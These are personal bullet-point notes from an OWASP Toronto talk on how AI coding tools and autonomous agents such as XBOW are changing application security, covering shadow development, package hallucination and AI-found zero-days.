🍈 Zettelkasten

The AI AppSec Nightmare

4 min read

A talk at OWASP Toronto from Pixee by Jerry Hoff.

Notes

  • OWASP has a virtual chapter, owasp.vc
  • Pixee solves the problem, by removing false positives found within SAST
  • AI and Appsec
    • AppSec is a giant issue. We tried static analysis, dynamic analysis, pentesting, developer training, but there are still flaws
    • Your org is going to have an explosion in code
    • Malicious agents make that mess worse
    • Business as usual is no longer an option
  • Software is eating the word → AI is eating the world
  • Claude code is the best since its just command prompt
  • Lovable AI, will build your entire website with AI
  • Jensen Huang says: It does not matter if you’ve never learned to code, theres a new programming language (he has an incentive for sure)
  • Shadow development is the idea that everybody is a developer now
  • Shadow development is not going through our secure SDLC. In fact, there probably is no life-cycle, just push to prod
  • Vibecoders do not know OWASP Top 10
  • The OWASP Application Security Verification Standard is the greatest application security verification standard. 450 specific things to validate an application is secure
  • XZ Backdoor
  • AI tools will Hallucinate package names (See Slop Squatting). 21.7% of package names do not even exist and are targets
  • There is now a AISVS
  • Most funding goes to network security and cloud security, Application Security goes underfunded
  • Why are the bad guys focused more-so on network issues? Because, applications are very hard, and very difficult. Making exploits is not easy. Not easily reproducible. High-hanging fruit.
  • Developers use Metasploit to get pre-made payloads
  • Everything is hooked up to a webapp, the browser is the universal software.
  • When we talk about secure SDLC, we follow certain rules, we use DAST, but its not gap-proof
  • We have puppeteers like Jenkins.
  • Developers never read medium, low vulnerabilities. You can always take a medium, a medium and create a critical.
  • If you have been in developer meetings, there are lots of talks as to what really are critical vulnerabilities. (It says a critical, but we think its a medium.) All of our applications are riddled with vulnerabilities
  • Legacy Applications is always a massive risk. They are getting more and more vulnerable every single day.
  • Google has claimed that project naptime - a LLM to find a zero day in a large library in SQLite - It is the worlds most widely used database
  • People are using GPT o3 to find a zero-day in linux’s SMB implementation (it was already found, but GPT found it again). This researcher tried running 100 times, and it only found the vulnerability 8 times
  • Bad guys can feed things constantly, and pop out zero days
  • AI Agent are autonomous entities, they can be used as AI attackers
  • HackerOne, Bugcrowd are sites where companies can provide bug bounties for their products
  • It used to be the #1 bug bounty recipient was an AI agent - It was XBOW
  • XPOW process:
    • Given a CTF challenge
    • Greps all files
    • Finds a HOCON parsing vulnerability
    • Uses FFUF for fuzzing
    • Looks at the java bytecode
    • Creates script to test various HOCON structures
    • Using scoold to test APIs
    • Creates script to test web application
    • Finds that HOCON’s includeUrl functionality is accepted by parser
    • It finally succeeded and found the key
  • It was only 30m for series A funding to develop this tool
  • XPOW has a blog post on how they trained this AI for bug bounties
  • NSA, and criminal groups can easily do this for less money
  • Point and click and find vulns
  • AI enhanced secure SDLC. AI will help us to secure code. We can integrate AI powered DAST and SAST
  • We can automate vulnerability triage
  • We can assist developers with AI based remediation to fix the vulnerabilty
  • We can monitor applications in prod, using AI insights
  • AI is bad by default at finding vulnerabilities, but you can provide it procedures and guides to find them
  • XPOW will do a live-hack at blackhat conference
  • OWASP slack channel will talk about upcoming seminars
  • As code gets larger, it becomes harder to fit things inside of the context, there are token limits. AI SAST is still a ways off
  • The researcher transformed the code, so all the pertinent methods were all in a row
  • AI will not get exponentially better, it already read most of the internet, and the new data is not coming in any faster. Now, most code in github is AI generated, so this will stall out AI in its abilities
  • AI generates its own training data - like AlphaGo

Graph View